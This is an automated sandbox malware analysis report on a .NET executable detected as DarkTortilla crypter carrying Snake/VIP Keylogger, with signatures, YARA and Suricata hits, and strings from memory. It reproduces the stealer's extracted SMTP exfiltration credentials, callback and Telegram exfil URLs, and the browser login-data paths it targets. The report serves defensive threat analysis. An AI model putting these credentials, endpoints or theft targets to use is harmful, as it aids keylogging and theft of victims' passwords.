Edit tour

Windows Analysis Report
pbCN4g6sN5.exe

Overview

General Information

Sample name:	pbCN4g6sN5.exe renamed because original name is a hash value
Original sample name:	0d6d13b615ce21e4a4ff75ec6ad0047a5664aafc05745188afc2e4497c2bed9f.exe
Analysis ID:	1586029
MD5:	7d88e5bad194e89ada135543169da996
SHA1:	929a742475ae4b93a5e164b1d565d7d7f78f6b62
SHA256:	0d6d13b615ce21e4a4ff75ec6ad0047a5664aafc05745188afc2e4497c2bed9f
Tags:	exeuser-adrian__luca
Infos:

Detection

DarkTortilla, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DarkTortilla Crypter

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to capture screen (.Net source)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to launch a process as a different user

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

pbCN4g6sN5.exe (PID: 5696 cmdline: "C:\Users\user\Desktop\pbCN4g6sN5.exe" MD5: 7D88E5BAD194E89ADA135543169DA996)

InstallUtil.exe (PID: 7492 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkTortilla	DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.	No Attribution	https://www.secureworks.com/research/darktortilla-malware-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "sammys@gtpv.online", "Password": "7213575aceACE@@", "Host": "mail.gtpv.online", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "sammys@gtpv.online", "Password": "7213575aceACE@@", "Host": "mail.gtpv.online", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dff0:$a1: get_encryptedPassword 0x2e578:$a2: get_encryptedUsername 0x2dc63:$a3: get_timePasswordChanged 0x2dd7a:$a4: get_passwordField 0x2e006:$a5: set_encryptedPassword 0x30d22:$a6: get_passwords 0x310b6:$a7: get_logins 0x30d0e:$a8: GetOutlookPasswords 0x306c7:$a9: StartKeylogger 0x3100f:$a10: KeyLoggerEventArgs 0x30767:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2383848177.0000000004B30000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2daa0:$a1: get_encryptedPassword 0x2e028:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x2d82a:$a4: get_passwordField 0x2dab6:$a5: set_encryptedPassword 0x307d2:$a6: get_passwords 0x30b66:$a7: get_logins 0x307be:$a8: GetOutlookPasswords 0x30177:$a9: StartKeylogger 0x30abf:$a10: KeyLoggerEventArgs 0x30217:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e370:$a1: get_encryptedPassword 0x2e8f8:$a2: get_encryptedUsername 0x2dfe3:$a3: get_timePasswordChanged 0x2e0fa:$a4: get_passwordField 0x2e386:$a5: set_encryptedPassword 0x310a2:$a6: get_passwords 0x31436:$a7: get_logins 0x3108e:$a8: GetOutlookPasswords 0x30a47:$a9: StartKeylogger 0x3138f:$a10: KeyLoggerEventArgs 0x30ae7:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2376499978.0000000002551000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: pbCN4g6sN5.exe PID: 5696	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: pbCN4g6sN5.exe PID: 5696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pbCN4g6sN5.exe PID: 5696	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: pbCN4g6sN5.exe PID: 5696	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: pbCN4g6sN5.exe PID: 5696	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: pbCN4g6sN5.exe PID: 5696	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x31263:$a1: get_encryptedPassword 0x9a2c1:$a1: get_encryptedPassword 0x317e1:$a2: get_encryptedUsername 0x9a83f:$a2: get_encryptedUsername 0x30ee5:$a3: get_timePasswordChanged 0x99f43:$a3: get_timePasswordChanged 0x30ffc:$a4: get_passwordField 0x9a05a:$a4: get_passwordField 0x31279:$a5: set_encryptedPassword 0x9a2d7:$a5: set_encryptedPassword 0x33f3d:$a6: get_passwords 0x9cf9b:$a6: get_passwords 0x342cd:$a7: get_logins 0x9d32b:$a7: get_logins 0x33f29:$a8: GetOutlookPasswords 0x9cf87:$a8: GetOutlookPasswords 0x338e2:$a9: StartKeylogger 0x9c940:$a9: StartKeylogger 0x34226:$a10: KeyLoggerEventArgs 0x9d284:$a10: KeyLoggerEventArgs 0x33982:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: InstallUtil.exe PID: 7492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7492	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: InstallUtil.exe PID: 7492	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: InstallUtil.exe PID: 7492	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14c8c4:$a1: get_encryptedPassword 0x14ce42:$a2: get_encryptedUsername 0x14c546:$a3: get_timePasswordChanged 0x14c65d:$a4: get_passwordField 0x14c8da:$a5: set_encryptedPassword 0x14f59e:$a6: get_passwords 0x14f92e:$a7: get_logins 0x14f58a:$a8: GetOutlookPasswords 0x14ef43:$a9: StartKeylogger 0x14f887:$a10: KeyLoggerEventArgs 0x14efe3:$a11: KeyLoggerEventArgsEventHandler
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.pbCN4g6sN5.exe.36a2f30.0.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.pbCN4g6sN5.exe.365d150.3.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.pbCN4g6sN5.exe.4b30000.4.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.pbCN4g6sN5.exe.36a2f30.0.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.pbCN4g6sN5.exe.4b30000.4.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.pbCN4g6sN5.exe.365d150.3.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
0.2.pbCN4g6sN5.exe.35df6d0.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3949e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b41:$a3: \Google\Chrome\User Data\Default\Login Data 0x38d9e:$a4: \Orbitum\User Data\Default\Login Data 0x3977d:$a5: \Kometa\User Data\Default\Login Data
0.2.pbCN4g6sN5.exe.35df6d0.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
5.2.InstallUtil.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b29e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a941:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ab9e:$a4: \Orbitum\User Data\Default\Login Data 0x3b57d:$a5: \Kometa\User Data\Default\Login Data
5.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
0.2.pbCN4g6sN5.exe.35df6d0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
Click to see the 21 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:33:10.683264+0100	2803305	3	Unknown Traffic	192.168.2.4	49836	188.114.97.3	443	TCP
2025-01-08T16:33:15.157202+0100	2803305	3	Unknown Traffic	192.168.2.4	49869	188.114.97.3	443	TCP
2025-01-08T16:33:18.079410+0100	2803305	3	Unknown Traffic	192.168.2.4	49892	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:33:08.959347+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49821	132.226.8.169	80	TCP
2025-01-08T16:33:10.111995+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49821	132.226.8.169	80	TCP
2025-01-08T16:33:11.537491+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49841	132.226.8.169	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:33:21.949552+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49920	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 08 Jan 2025 15:33:21 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: pbCN4g6sN5.exe, 00000000.00000002.2385906795.0000000006D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:724536%0D%0ADate%20a
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EC7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002F72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBiq
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: InstallUtil.exe, 00000005.00000002.2907422568.0000000004089000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: InstallUtil.exe, 00000005.00000002.2903836633.0000000002E7D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002EA3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: pbCN4g6sN5.exe, 00000000.00000002.2382308673.0000000003559000.00000004.00000800.00020000.00000000.sdmp, pbCN4g6sN5.exe, 00000000.00000002.2382308673.00000000035DF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2900986537.0000000000402000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2903836633.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
